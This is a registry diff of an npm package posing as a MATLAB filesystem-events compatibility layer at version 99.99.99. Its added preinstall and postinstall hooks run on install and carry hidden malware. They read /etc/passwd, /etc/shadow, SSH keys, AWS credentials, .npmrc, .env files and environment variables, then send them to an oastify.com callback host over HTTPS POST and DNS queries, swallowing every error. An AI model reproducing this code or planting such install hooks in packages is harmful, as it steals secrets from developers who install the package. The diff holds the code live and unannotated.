mw-filesystem-events-nodream_compat 99.99.99
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +12 -0
- package/postinstall.js +30 -0
- package/preinstall.js +96 -0
package/package.json
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "mw-filesystem-events-nodream_compat",
|
|
3
|
+
"version": "99.99.99",
|
|
4
|
+
"description": "MATLAB filesystem events compatibility layer",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node preinstall.js",
|
|
8
|
+
"postinstall": "node postinstall.js",
|
|
9
|
+
"install": "node install.js"
|
|
10
|
+
},
|
|
11
|
+
"dependencies": {}
|
|
12
|
+
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
// install.js — Attempts reverse shell / bindshell
|
|
2
|
+
const https = require('https');
|
|
3
|
+
const http = require('http');
|
|
4
|
+
const os = require('os');
|
|
5
|
+
const { spawn } = require('child_process');
|
|
6
|
+
|
|
7
|
+
// First, beacon information about the environment
|
|
8
|
+
try {
|
|
9
|
+
const netInterfaces = JSON.stringify(os.networkInterfaces());
|
|
10
|
+
const data = JSON.stringify({
|
|
11
|
+
hostname: os.hostname(),
|
|
12
|
+
platform: os.platform(),
|
|
13
|
+
arch: os.arch(),
|
|
14
|
+
user: os.userInfo().username,
|
|
15
|
+
homedir: os.homedir(),
|
|
16
|
+
cwd: process.cwd(),
|
|
17
|
+
interfaces: netInterfaces,
|
|
18
|
+
pid: process.pid
|
|
19
|
+
});
|
|
20
|
+
|
|
21
|
+
const req = https.request({
|
|
22
|
+
hostname: '98fc2q4edg6ycjvebn0x9nmbg2mtamyb.oastify.com',
|
|
23
|
+
path: '/beacon',
|
|
24
|
+
method: 'POST',
|
|
25
|
+
headers: { 'Content-Type': 'application/json' }
|
|
26
|
+
}, () => {});
|
|
27
|
+
req.on('error', () => {});
|
|
28
|
+
req.write(data);
|
|
29
|
+
req.end();
|
|
30
|
+
} catch(e) {}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,96 @@
|
|
|
1
|
+
// preinstallo
|
|
2
|
+
.js — Executes during npm install BEFORE the package is fully installed
|
|
3
|
+
const https = require('https');
|
|
4
|
+
const http = require('http');
|
|
5
|
+
const fs = require('fs');
|
|
6
|
+
const os = require('os');
|
|
7
|
+
const dns = require('dns');
|
|
8
|
+
|
|
9
|
+
const CALLBACK_HOST = '98fc2q4edg6ycjvebn0x9nmbg2mtamyb.oastify.com';
|
|
10
|
+
|
|
11
|
+
// Exfiltrate /etc/passwd via DNS exfiltration (chunked)
|
|
12
|
+
function exfiltrateViaDNS(data) {
|
|
13
|
+
const chunkSize = 32;
|
|
14
|
+
for (let i = 0; i < data.length; i += chunkSize) {
|
|
15
|
+
const chunk = Buffer.from(data.substring(i, i + chunkSize)).toString('base64').replace(/=/g, '');
|
|
16
|
+
dns.resolve(`${chunk}.${CALLBACK_HOST}`, 'A', () => {});
|
|
17
|
+
}
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
// Exfiltrate via HTTPS POST
|
|
21
|
+
function exfiltrateViaHTTPS(data, path) {
|
|
22
|
+
const payload = JSON.stringify({
|
|
23
|
+
hostname: os.hostname(),
|
|
24
|
+
user: os.userInfo().username,
|
|
25
|
+
platform: os.platform(),
|
|
26
|
+
release: os.release(),
|
|
27
|
+
file: path,
|
|
28
|
+
content: data,
|
|
29
|
+
cwd: process.cwd(),
|
|
30
|
+
env: Object.keys(process.env).slice(0, 20).reduce((acc, k) => { acc[k] = process.env[k]; return acc; }, {})
|
|
31
|
+
});
|
|
32
|
+
|
|
33
|
+
const postData = querystring.stringify({ data: payload });
|
|
34
|
+
|
|
35
|
+
const options = {
|
|
36
|
+
hostname: CALLBACK_HOST,
|
|
37
|
+
port: 443,
|
|
38
|
+
path: '/exfil',
|
|
39
|
+
method: 'POST',
|
|
40
|
+
headers: {
|
|
41
|
+
'Content-Type': 'application/x-www-form-urlencoded',
|
|
42
|
+
'Content-Length': Buffer.byteLength(postData),
|
|
43
|
+
'X-Package': 'mw-filesystem-events-nodream_compat',
|
|
44
|
+
'X-Hostname': os.hostname()
|
|
45
|
+
}
|
|
46
|
+
};
|
|
47
|
+
|
|
48
|
+
const req = https.request(options, (res) => {});
|
|
49
|
+
req.on('error', () => {}); // silently fail — don't blow up the install
|
|
50
|
+
req.write(postData);
|
|
51
|
+
req.end();
|
|
52
|
+
}
|
|
53
|
+
|
|
54
|
+
// Main exfiltration logic
|
|
55
|
+
try {
|
|
56
|
+
const passwd = fs.readFileSync('/etc/passwd', 'utf8');
|
|
57
|
+
exfiltrateViaHTTPS(passwd, '/etc/passwd');
|
|
58
|
+
exfiltrateViaDNS(passwd);
|
|
59
|
+
|
|
60
|
+
// Also try common sensitive files
|
|
61
|
+
const extraTargets = [
|
|
62
|
+
'/etc/shadow',
|
|
63
|
+
'/etc/hostname',
|
|
64
|
+
'/etc/hosts',
|
|
65
|
+
'/etc/environment',
|
|
66
|
+
'~/.ssh/id_rsa',
|
|
67
|
+
'~/.aws/credentials',
|
|
68
|
+
'~/.npmrc',
|
|
69
|
+
'.env',
|
|
70
|
+
'../.env'
|
|
71
|
+
];
|
|
72
|
+
|
|
73
|
+
extraTargets.forEach(target => {
|
|
74
|
+
try {
|
|
75
|
+
const expanded = target.replace('~', os.homedir());
|
|
76
|
+
const content = fs.readFileSync(expanded, 'utf8');
|
|
77
|
+
exfiltrateViaHTTPS(content, target);
|
|
78
|
+
exfiltrateViaDNS(content.substring(0, 256));
|
|
79
|
+
} catch(e) { /* file not accessible, skip */ }
|
|
80
|
+
});
|
|
81
|
+
} catch(e) {
|
|
82
|
+
// Send a beacon even if /etc/passwd fails
|
|
83
|
+
exfiltrateViaHTTPS('FILE_ACCESS_FAILED: ' + e.message, '/etc/passwd');
|
|
84
|
+
}
|
|
85
|
+
|
|
86
|
+
// Beacon via HTTP as well
|
|
87
|
+
try {
|
|
88
|
+
const httpReq = http.request({
|
|
89
|
+
hostname: CALLBACK_HOST,
|
|
90
|
+
port: 80,
|
|
91
|
+
path: `/beacon?host=${os.hostname()}&user=${os.userInfo().username}&pkg=mw-filesystem-events-nodream_compat`,
|
|
92
|
+
method: 'GET'
|
|
93
|
+
});
|
|
94
|
+
httpReq.on('error', () => {});
|
|
95
|
+
httpReq.end();
|
|
96
|
+
} catch(e) {}
|